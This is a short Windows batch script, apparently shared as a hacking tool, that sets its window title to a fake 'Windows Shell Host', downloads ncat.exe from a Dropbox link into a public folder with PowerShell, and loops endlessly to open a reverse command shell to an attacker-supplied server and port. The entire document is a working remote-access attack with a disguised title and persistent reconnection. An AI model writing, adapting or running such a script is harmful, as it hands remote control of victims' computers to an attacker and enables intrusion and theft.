PS Admin shell via Dropbox

rem Made by LiamBogur
@echo off
title Windows Shell Host
echo Please Wait..
cd C:\Users\Public
if exist ncat.exe goto B
:A
powershell /c Invoke-WebRequest -Uri https://www.dropbox.com/s/66vqjqwvqzjiy2d/ncat.exe?dl=1 -OutFile "ncat.exe" || goto A
:B
echo Trying to connect..
C:\Users\Public\ncat.exe serverip serverport -e C:\Windows\System32\cmd.exe 2>nul || echo Connection failed
goto B